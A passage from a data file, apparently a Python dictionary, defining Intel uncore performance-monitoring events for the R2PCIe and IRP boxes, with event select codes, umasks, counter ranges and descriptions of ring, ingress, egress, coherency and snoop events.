"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the CW direction and one (half-)packet moving in the CCW direction.",
},
"R2PCIe.RING_IV_USED.CCW": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop.",
"Desc": "R2 IV Ring in Use",
"EvSel": 10,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the CW direction and one (half-)packet moving in the CCW direction.",
"Umask": "b00001100",
},
"R2PCIe.RING_IV_USED.ANY": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop.",
"Desc": "R2 IV Ring in Use",
"EvSel": 10,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the CW direction and one (half-)packet moving in the CCW direction.",
"Umask": "b00001111",
},
"R2PCIe.RING_IV_USED.CW": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop.",
"Desc": "R2 IV Ring in Use",
"EvSel": 10,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the CW direction and one (half-)packet moving in the CCW direction.",
"Umask": "b00000011",
},
"R2PCIe.RxR_CYCLES_NE": {
"Box": "R2PCIe",
"Category": "R2PCIe INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the R2PCIe Ingress is not empty. This tracks one of the three rings that are used by the R2PCIe agent. This can be used in conjunction with the R2PCIe Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Cycles Not Empty",
"EvSel": 16,
"ExtSel": "",
},
"R2PCIe.RxR_CYCLES_NE.NCB": {
"Box": "R2PCIe",
"Category": "R2PCIe INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the R2PCIe Ingress is not empty. This tracks one of the three rings that are used by the R2PCIe agent. This can be used in conjunction with the R2PCIe Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Cycles Not Empty",
"EvSel": 16,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R2PCIe.RxR_CYCLES_NE.NCS": {
"Box": "R2PCIe",
"Category": "R2PCIe INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the R2PCIe Ingress is not empty. This tracks one of the three rings that are used by the R2PCIe agent. This can be used in conjunction with the R2PCIe Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Cycles Not Empty",
"EvSel": 16,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R2PCIe.RxR_INSERTS": {
"Box": "R2PCIe",
"Category": "R2PCIe INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the R2PCIe Ingress. This tracks one of the three rings that are used by the R2PCIe agent. This can be used in conjunction with the R2PCIe Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Allocations",
"EvSel": 17,
"ExtSel": "",
},
"R2PCIe.RxR_INSERTS.NCS": {
"Box": "R2PCIe",
"Category": "R2PCIe INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the R2PCIe Ingress. This tracks one of the three rings that are used by the R2PCIe agent. This can be used in conjunction with the R2PCIe Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Allocations",
"EvSel": 17,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R2PCIe.RxR_INSERTS.NCB": {
"Box": "R2PCIe",
"Category": "R2PCIe INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the R2PCIe Ingress. This tracks one of the three rings that are used by the R2PCIe agent. This can be used in conjunction with the R2PCIe Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Allocations",
"EvSel": 17,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R2PCIe.RxR_OCCUPANCY": {
"Box": "R2PCIe",
"Category": "R2PCIe INGRESS Events",
"Counters": 0,
"Defn": "Accumulates the occupancy of a given R2PCIe Ingress queue in each cycles. This tracks one of the three ring Ingress buffers. This can be used with the R2PCIe Ingress Not Empty event to calculate average occupancy or the R2PCIe Ingress Allocations event in order to calculate average queuing latency.",
"Desc": "Ingress Occupancy Accumulator",
"EvSel": 19,
"ExtSel": "",
"MaxIncCyc": 24,
"SubCtr": 1,
},
"R2PCIe.RxR_OCCUPANCY.DRS": {
"Box": "R2PCIe",
"Category": "R2PCIe INGRESS Events",
"Counters": 0,
"Defn": "Accumulates the occupancy of a given R2PCIe Ingress queue in each cycles. This tracks one of the three ring Ingress buffers. This can be used with the R2PCIe Ingress Not Empty event to calculate average occupancy or the R2PCIe Ingress Allocations event in order to calculate average queuing latency.",
"Desc": "Ingress Occupancy Accumulator",
"EvSel": 19,
"ExtSel": "",
"MaxIncCyc": 24,
"SubCtr": 1,
"Umask": "b00001000",
},
"R2PCIe.SBO0_CREDITS_ACQUIRED": {
"Box": "R2PCIe",
"Category": "R2PCIe SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of Sbo 0 credits acquired in a given cycle, per ring.",
"Desc": "SBo0 Credits Acquired",
"EvSel": 40,
"ExtSel": "",
"MaxIncCyc": 2,
},
"R2PCIe.SBO0_CREDITS_ACQUIRED.BL": {
"Box": "R2PCIe",
"Category": "R2PCIe SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of Sbo 0 credits acquired in a given cycle, per ring.",
"Desc": "SBo0 Credits Acquired",
"EvSel": 40,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxxx1x",
},
"R2PCIe.SBO0_CREDITS_ACQUIRED.AD": {
"Box": "R2PCIe",
"Category": "R2PCIe SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of Sbo 0 credits acquired in a given cycle, per ring.",
"Desc": "SBo0 Credits Acquired",
"EvSel": 40,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxxxx1",
},
"R2PCIe.STALL_NO_SBO_CREDIT": {
"Box": "R2PCIe",
"Category": "R2PCIe SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 44,
"ExtSel": "",
"MaxIncCyc": 4,
},
"R2PCIe.STALL_NO_SBO_CREDIT.SBO0_BL": {
"Box": "R2PCIe",
"Category": "R2PCIe SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 44,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "bxxxxx1xx",
},
"R2PCIe.STALL_NO_SBO_CREDIT.SBO1_BL": {
"Box": "R2PCIe",
"Category": "R2PCIe SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 44,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "bxxxx1xxx",
},
"R2PCIe.STALL_NO_SBO_CREDIT.SBO1_AD": {
"Box": "R2PCIe",
"Category": "R2PCIe SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 44,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "bxxxxxx1x",
},
"R2PCIe.STALL_NO_SBO_CREDIT.SBO0_AD": {
"Box": "R2PCIe",
"Category": "R2PCIe SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 44,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "bxxxxxxx1",
},
"R2PCIe.TxR_CYCLES_FULL": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": 0,
"Defn": "Counts the number of cycles when the R2PCIe Egress buffer is full.",
"Desc": "Egress Cycles Full",
"EvSel": 37,
"ExtSel": "",
},
"R2PCIe.TxR_CYCLES_FULL.AK": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": 0,
"Defn": "Counts the number of cycles when the R2PCIe Egress buffer is full.",
"Desc": "Egress Cycles Full",
"EvSel": 37,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R2PCIe.TxR_CYCLES_FULL.BL": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": 0,
"Defn": "Counts the number of cycles when the R2PCIe Egress buffer is full.",
"Desc": "Egress Cycles Full",
"EvSel": 37,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R2PCIe.TxR_CYCLES_FULL.AD": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": 0,
"Defn": "Counts the number of cycles when the R2PCIe Egress buffer is full.",
"Desc": "Egress Cycles Full",
"EvSel": 37,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R2PCIe.TxR_CYCLES_NE": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": 0,
"Defn": "Counts the number of cycles when the R2PCIe Egress is not empty. This tracks one of the three rings that are used by the R2PCIe agent. This can be used in conjunction with the R2PCIe Egress Occupancy Accumulator event in order to calculate average queue occupancy. Only a single Egress queue can be tracked at any given time. It is not possible to filter based on direction or polarity.",
"Desc": "Egress Cycles Not Empty",
"EvSel": 35,
"ExtSel": "",
},
"R2PCIe.TxR_CYCLES_NE.BL": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": 0,
"Defn": "Counts the number of cycles when the R2PCIe Egress is not empty. This tracks one of the three rings that are used by the R2PCIe agent. This can be used in conjunction with the R2PCIe Egress Occupancy Accumulator event in order to calculate average queue occupancy. Only a single Egress queue can be tracked at any given time. It is not possible to filter based on direction or polarity.",
"Desc": "Egress Cycles Not Empty",
"EvSel": 35,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R2PCIe.TxR_CYCLES_NE.AK": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": 0,
"Defn": "Counts the number of cycles when the R2PCIe Egress is not empty. This tracks one of the three rings that are used by the R2PCIe agent. This can be used in conjunction with the R2PCIe Egress Occupancy Accumulator event in order to calculate average queue occupancy. Only a single Egress queue can be tracked at any given time. It is not possible to filter based on direction or polarity.",
"Desc": "Egress Cycles Not Empty",
"EvSel": 35,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R2PCIe.TxR_CYCLES_NE.AD": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": 0,
"Defn": "Counts the number of cycles when the R2PCIe Egress is not empty. This tracks one of the three rings that are used by the R2PCIe agent. This can be used in conjunction with the R2PCIe Egress Occupancy Accumulator event in order to calculate average queue occupancy. Only a single Egress queue can be tracked at any given time. It is not possible to filter based on direction or polarity.",
"Desc": "Egress Cycles Not Empty",
"EvSel": 35,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R2PCIe.TxR_NACK_CW": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
},
"R2PCIe.TxR_NACK_CW.UP_BL": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R2PCIe.TxR_NACK_CW.DN_AK": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R2PCIe.TxR_NACK_CW.DN_AD": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R2PCIe.TxR_NACK_CW.UP_AK": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R2PCIe.TxR_NACK_CW.DN_BL": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R2PCIe.TxR_NACK_CW.UP_AD": {
"Box": "R2PCIe",
"Category": "R2PCIe EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
# IRP:
"IRP.CACHE_TOTAL_OCCUPANCY": {
"Box": "IRP",
"Category": "IRP WRITE_CACHE Events",
"Counters": "0-1",
"Defn": "Accumulates the number of reads and writes that are outstanding in the uncore in each cycle. This is effectively the sum of the READ_OCCUPANCY and WRITE_OCCUPANCY events.",
"Desc": "Total Write Cache Occupancy",
"EvSel": 18,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
},
"IRP.CACHE_TOTAL_OCCUPANCY.ANY": {
"Box": "IRP",
"Category": "IRP WRITE_CACHE Events",
"Counters": "0-1",
"Defn": "Accumulates the number of reads and writes that are outstanding in the uncore in each cycle. This is effectively the sum of the READ_OCCUPANCY and WRITE_OCCUPANCY events.",
"Desc": "Total Write Cache Occupancy",
"EvSel": 18,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "b00000001",
},
"IRP.CACHE_TOTAL_OCCUPANCY.SOURCE": {
"Box": "IRP",
"Category": "IRP WRITE_CACHE Events",
"Counters": "0-1",
"Defn": "Accumulates the number of reads and writes that are outstanding in the uncore in each cycle. This is effectively the sum of the READ_OCCUPANCY and WRITE_OCCUPANCY events.",
"Desc": "Total Write Cache Occupancy",
"EvSel": 18,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "b00000010",
},
"IRP.CLOCKTICKS": {
"Box": "IRP",
"Category": "IRP IO_CLKS Events",
"Counters": "0-1",
"Defn": "Number of clocks in the IRP.",
"Desc": "Clocks in the IRP",
"EvSel": 0,
"ExtSel": "",
},
"IRP.COHERENT_OPS": {
"Box": "IRP",
"Category": "IRP Coherency Events",
"Counters": "0-1",
"Defn": "Counts the number of coherency related operations servied by the IRP",
"Desc": "Coherent Ops",
"EvSel": 19,
"ExtSel": "",
},
"IRP.COHERENT_OPS.PCIDCAHINT": {
"Box": "IRP",
"Category": "IRP Coherency Events",
"Counters": "0-1",
"Defn": "Counts the number of coherency related operations servied by the IRP",
"Desc": "Coherent Ops",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"IRP.COHERENT_OPS.DRD": {
"Box": "IRP",
"Category": "IRP Coherency Events",
"Counters": "0-1",
"Defn": "Counts the number of coherency related operations servied by the IRP",
"Desc": "Coherent Ops",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"IRP.COHERENT_OPS.CRD": {
"Box": "IRP",
"Category": "IRP Coherency Events",
"Counters": "0-1",
"Defn": "Counts the number of coherency related operations servied by the IRP",
"Desc": "Coherent Ops",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"IRP.COHERENT_OPS.PCIRDCUR": {
"Box": "IRP",
"Category": "IRP Coherency Events",
"Counters": "0-1",
"Defn": "Counts the number of coherency related operations servied by the IRP",
"Desc": "Coherent Ops",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"IRP.COHERENT_OPS.WBMTOI": {
"Box": "IRP",
"Category": "IRP Coherency Events",
"Counters": "0-1",
"Defn": "Counts the number of coherency related operations servied by the IRP",
"Desc": "Coherent Ops",
"EvSel": 19,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"IRP.COHERENT_OPS.CLFLUSH": {
"Box": "IRP",
"Category": "IRP Coherency Events",
"Counters": "0-1",
"Defn": "Counts the number of coherency related operations servied by the IRP",
"Desc": "Coherent Ops",
"EvSel": 19,
"ExtSel": "",
"Umask": "b1xxxxxxx",
},
"IRP.COHERENT_OPS.RFO": {
"Box": "IRP",
"Category": "IRP Coherency Events",
"Counters": "0-1",
"Defn": "Counts the number of coherency related operations servied by the IRP",
"Desc": "Coherent Ops",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"IRP.COHERENT_OPS.PCITOM": {
"Box": "IRP",
"Category": "IRP Coherency Events",
"Counters": "0-1",
"Defn": "Counts the number of coherency related operations servied by the IRP",
"Desc": "Coherent Ops",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"IRP.MISC0": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 0",
"EvSel": 20,
"ExtSel": "",
},
"IRP.MISC0.2ND_WR_INSERT": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 0",
"EvSel": 20,
"ExtSel": "",
"Umask": "bx00x1x00",
},
"IRP.MISC0.2ND_ATOMIC_INSERT": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 0",
"EvSel": 20,
"ExtSel": "",
"Umask": "bx001xx00",
},
"IRP.MISC0.2ND_RD_INSERT": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 0",
"EvSel": 20,
"ExtSel": "",
"Umask": "bx00xx100",
},
"IRP.MISC0.FAST_REQ": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 0",
"EvSel": 20,
"ExtSel": "",
"Umask": "b000000x1",
},
"IRP.MISC0.PF_TIMEOUT": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 0",
"EvSel": 20,
"ExtSel": "",
"Umask": "b1xx00000",
},
"IRP.MISC0.FAST_REJ": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 0",
"EvSel": 20,
"ExtSel": "",
"Umask": "b0000001x",
},
"IRP.MISC0.PF_ACK_HINT": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 0",
"EvSel": 20,
"ExtSel": "",
"Umask": "bx1x00000",
},
"IRP.MISC0.FAST_XFER": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 0",
"EvSel": 20,
"ExtSel": "",
"Umask": "bxx100000",
},
"IRP.MISC1": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 1",
"EvSel": 21,
"ExtSel": "",
},
"IRP.MISC1.SLOW_E": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 1",
"EvSel": 21,
"ExtSel": "",
"Umask": "b000xx1xx",
},
"IRP.MISC1.DATA_THROTTLE": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 1",
"EvSel": 21,
"ExtSel": "",
"Umask": "b1xxx0000",
},
"IRP.MISC1.SLOW_I": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 1",
"EvSel": 21,
"ExtSel": "",
"Umask": "b000xxxx1",
},
"IRP.MISC1.SEC_RCVD_INVLD": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 1",
"EvSel": 21,
"ExtSel": "",
"Umask": "bxx1x0000",
},
"IRP.MISC1.SEC_RCVD_VLD": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 1",
"EvSel": 21,
"ExtSel": "",
"Umask": "bx1xx0000",
},
"IRP.MISC1.SLOW_S": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 1",
"EvSel": 21,
"ExtSel": "",
"Umask": "b000xxx1x",
},
"IRP.MISC1.LOST_FWD": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 1",
"EvSel": 21,
"ExtSel": "",
"Umask": "b0001xxxx",
},
"IRP.MISC1.SLOW_M": {
"Box": "IRP",
"Category": "IRP MISC Events",
"Counters": "0-1",
"Desc": "Misc Events - Set 1",
"EvSel": 21,
"ExtSel": "",
"Umask": "b000x1xxx",
},
"IRP.RxR_AK_INSERTS": {
"Box": "IRP",
"Category": "IRP AK_INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the AK Ingress. This queue is where the IRP receives responses from R2PCIe (the ring).",
"Desc": "AK Ingress Occupancy",
"EvSel": 10,
"ExtSel": "",
},
"IRP.RxR_BL_DRS_CYCLES_FULL": {
"Box": "IRP",
"Category": "IRP BL_INGRESS_DRS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the BL Ingress is full. This queue is where the IRP receives data from R2PCIe (the ring). It is used for data returns from read requets as well as outbound MMIO writes.",
"EvSel": 4,
"ExtSel": "",
},
"IRP.RxR_BL_DRS_INSERTS": {
"Box": "IRP",
"Category": "IRP BL_INGRESS_DRS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the BL Ingress. This queue is where the IRP receives data from R2PCIe (the ring). It is used for data returns from read requets as well as outbound MMIO writes.",
"Desc": "BL Ingress Occupancy - DRS",
"EvSel": 1,
"ExtSel": "",
},
"IRP.RxR_BL_DRS_OCCUPANCY": {
"Box": "IRP",
"Category": "IRP BL_INGRESS_DRS Events",
"Counters": "0-1",
"Defn": "Accumulates the occupancy of the BL Ingress in each cycles. This queue is where the IRP receives data from R2PCIe (the ring). It is used for data returns from read requets as well as outbound MMIO writes.",
"EvSel": 7,
"ExtSel": "",
"MaxIncCyc": 24,
"SubCtr": 1,
},
"IRP.RxR_BL_NCB_CYCLES_FULL": {
"Box": "IRP",
"Category": "IRP BL_INGRESS_NCB Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the BL Ingress is full. This queue is where the IRP receives data from R2PCIe (the ring). It is used for data returns from read requets as well as outbound MMIO writes.",
"EvSel": 5,
"ExtSel": "",
},
"IRP.RxR_BL_NCB_INSERTS": {
"Box": "IRP",
"Category": "IRP BL_INGRESS_NCB Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the BL Ingress. This queue is where the IRP receives data from R2PCIe (the ring). It is used for data returns from read requets as well as outbound MMIO writes.",
"Desc": "BL Ingress Occupancy - NCB",
"EvSel": 2,
"ExtSel": "",
},
"IRP.RxR_BL_NCB_OCCUPANCY": {
"Box": "IRP",
"Category": "IRP BL_INGRESS_NCB Events",
"Counters": "0-1",
"Defn": "Accumulates the occupancy of the BL Ingress in each cycles. This queue is where the IRP receives data from R2PCIe (the ring). It is used for data returns from read requets as well as outbound MMIO writes.",
"EvSel": 8,
"ExtSel": "",
"MaxIncCyc": 24,
"SubCtr": 1,
},
"IRP.RxR_BL_NCS_CYCLES_FULL": {
"Box": "IRP",
"Category": "IRP BL_INGRESS_NCS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the BL Ingress is full. This queue is where the IRP receives data from R2PCIe (the ring). It is used for data returns from read requets as well as outbound MMIO writes.",
"EvSel": 6,
"ExtSel": "",
},
"IRP.RxR_BL_NCS_INSERTS": {
"Box": "IRP",
"Category": "IRP BL_INGRESS_NCS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the BL Ingress. This queue is where the IRP receives data from R2PCIe (the ring). It is used for data returns from read requets as well as outbound MMIO writes.",
"Desc": "BL Ingress Occupancy - NCS",
"EvSel": 3,
"ExtSel": "",
},
"IRP.RxR_BL_NCS_OCCUPANCY": {
"Box": "IRP",
"Category": "IRP BL_INGRESS_NCS Events",
"Counters": "0-1",
"Defn": "Accumulates the occupancy of the BL Ingress in each cycles. This queue is where the IRP receives data from R2PCIe (the ring). It is used for data returns from read requets as well as outbound MMIO writes.",
"EvSel": 9,
"ExtSel": "",
"MaxIncCyc": 24,
"SubCtr": 1,
},
"IRP.SNOOP_RESP": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Desc": "Snoop Responses",
"EvSel": 23,
"ExtSel": "",
"Notes": "The first 4 subevent bits are the Responses to the Code/Data/Invalid Snoops represented by the last 3 subevent bits. At least 1 of the bottom 4 bits must be combined with 1 of the top 3 bits to obtain counts. Unsure which combinations are possible.",
},
"IRP.SNOOP_RESP.SNPDATA": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Desc": "Snoop Responses",
"EvSel": 23,
"ExtSel": "",
"Notes": "The first 4 subevent bits are the Responses to the Code/Data/Invalid Snoops represented by the last 3 subevent bits. At least 1 of the bottom 4 bits must be combined with 1 of the top 3 bits to obtain counts. Unsure which combinations are possible.",
"Umask": "bxx1xxxxx",
},
"IRP.SNOOP_RESP.HIT_I": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Desc": "Snoop Responses",
"EvSel": 23,
"ExtSel": "",
"Notes": "The first 4 subevent bits are the Responses to the Code/Data/Invalid Snoops represented by the last 3 subevent bits. At least 1 of the bottom 4 bits must be combined with 1 of the top 3 bits to obtain counts. Unsure which combinations are possible.",
"Umask": "bxxxxxx1x",
},
"IRP.SNOOP_RESP.HIT_ES": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Desc": "Snoop Responses",
"EvSel": 23,
"ExtSel": "",
"Notes": "The first 4 subevent bits are the Responses to the Code/Data/Invalid Snoops represented by the last 3 subevent bits. At least 1 of the bottom 4 bits must be combined with 1 of the top 3 bits to obtain counts. Unsure which combinations are possible.",
"Umask": "bxxxxx1xx",
},
"IRP.SNOOP_RESP.HIT_M": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Desc": "Snoop Responses",
"EvSel": 23,
"ExtSel": "",
"Notes": "The first 4 subevent bits are the Responses to the Code/Data/Invalid Snoops represented by the last 3 subevent bits. At least 1 of the bottom 4 bits must be combined with 1 of the top 3 bits to obtain counts. Unsure which combinations are possible.",
"Umask": "bxxxx1xxx",
},
"IRP.SNOOP_RESP.MISS": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Desc": "Snoop Responses",
"EvSel": 23,
"ExtSel": "",
"Notes": "The first 4 subevent bits are the Responses to the Code/Data/Invalid Snoops represented by the last 3 subevent bits. At least 1 of the bottom 4 bits must be combined with 1 of the top 3 bits to obtain counts. Unsure which combinations are possible.",
"Umask": "bxxxxxxx1",
},
"IRP.SNOOP_RESP.SNPCODE": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Desc": "Snoop Responses",
"EvSel": 23,
"ExtSel": "",
"Notes": "The first 4 subevent bits are the Responses to the Code/Data/Invalid Snoops represented by the last 3 subevent bits. At least 1 of the bottom 4 bits must be combined with 1 of the top 3 bits to obtain counts. Unsure which combinations are possible.",
"Umask": "bxxx1xxxx",
},
"IRP.SNOOP_RESP.SNPINV": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Desc": "Snoop Responses",
"EvSel": 23,
"ExtSel": "",
"Notes": "The first 4 subevent bits are the Responses to the Code/Data/Invalid Snoops represented by the last 3 subevent bits. At least 1 of the bottom 4 bits must be combined with 1 of the top 3 bits to obtain counts. Unsure which combinations are possible.",
"Umask": "bx1xxxxxx",
},
"IRP.TRANSACTIONS": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Defn": "Counts the number of \"Inbound\" transactions from the IRP to the Uncore. This can be filtered based on request type in addition to the source queue. Note the special filtering equation. We do OR-reduction on the request type. If the SOURCE bit is set, then we also do AND qualification based on the source portID.",
"Desc": "Inbound Transaction Count",
"EvSel": 22,
"ExtSel": "",
"Notes": "Bit 7 is a filter that can be applied to the other subevents. Meaningless by itself.",
},
"IRP.TRANSACTIONS.READS": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Defn": "Counts the number of \"Inbound\" transactions from the IRP to the Uncore. This can be filtered based on request type in addition to the source queue. Note the special filtering equation. We do OR-reduction on the request type. If the SOURCE bit is set, then we also do AND qualification based on the source portID.",
"Desc": "Inbound Transaction Count",
"EvSel": 22,
"ExtSel": "",
"Notes": "Bit 7 is a filter that can be applied to the other subevents. Meaningless by itself.",
"Umask": "bxxxxxxx1",
},
